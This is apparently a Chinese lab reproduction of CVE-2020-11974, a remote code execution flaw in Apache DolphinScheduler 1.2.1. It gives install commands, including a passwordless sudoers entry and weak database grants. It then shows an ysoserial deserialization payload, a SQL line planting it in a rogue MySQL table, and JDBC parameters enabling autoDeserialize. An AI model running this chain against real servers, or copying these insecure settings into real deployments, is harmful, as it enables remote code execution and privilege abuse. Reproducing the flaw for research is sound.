CVE-2020-11974 Apache DolphinScheduler远程执行代码漏洞复现

https://dolphinscheduler.apache.org/zh-cn/docs/1.2.1/user_doc/standalone-deployment.html

mkdir -p /opt/dolphinschedulercd /opt/dolphinschedulerwget https://archive.apache.org/dist/incubator/dolphinscheduler/1.2.1/apache-dolphinscheduler-incubating-1.2.1-dolphinscheduler-bin.tar.gz

tar -zxvf apache-dolphinscheduler-incubating-1.2.1-dolphinscheduler-bin.tar.gz -C /opt/dolphinschedulermv apache-dolphinscheduler-incubating-1.2.1-dolphinscheduler-bin.tar.gz dolphinscheduler

useradd dolphinschedulerecho "dolphinscheduler" | passwd --stdin dolphinschedulersed -i '$adolphinscheduler ALL=(ALL) NOPASSWD: NOPASSWD: ALL' /etc/sudoerssed -i 's/Defaults requirett/#Defaults requirett/g' /etc/sudoerschown -R dolphinscheduler:dolphinscheduler dolphinscheduler

su dolphinschedulerssh-keygen -t rsa -P '' -f ~/.ssh/id_rsacat ~/.ssh/id_rsa.pub >> ~/.ssh/authorized_keyschmod 600 ~/.ssh/authorized_keys

CREATE DATABASE dolphinscheduler DEFAULT CHARACTER SET utf8 DEFAULT COLLATE utf8_general_ci;GRANT ALL PRIVILEGES ON dolphinscheduler.* TO 'root'@'%' IDENTIFIED BY 'mysql';GRANT ALL PRIVILEGES ON dolphinscheduler.* TO 'root'@'localhost' IDENTIFIED BY 'mysql';flush privileges;

vi conf/application-dao.properties

sh script/create-dolphinscheduler.sh

cd /opt/dolphinschedulertar -zxvf apache-dolphinscheduler-incubating-1.2.0-dolphinscheduler-front-bin.tar.gz -C /opt/dolphinschedulermv apache-dolphinscheduler-incubating-1.2.0-dolphinscheduler-front-bin dolphinscheduler-uicd dolphinscheduler-uish ./install-dolphinscheduler-ui.sh

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRE8u20 "touch /tmp/1.txt" > t

set @a=0x{hex payload};update codeplutos.payload set character_set_name = @a;

{"detectCustomCollations":true,"autoDeserialize":true,"serverTimezone":"UTC"}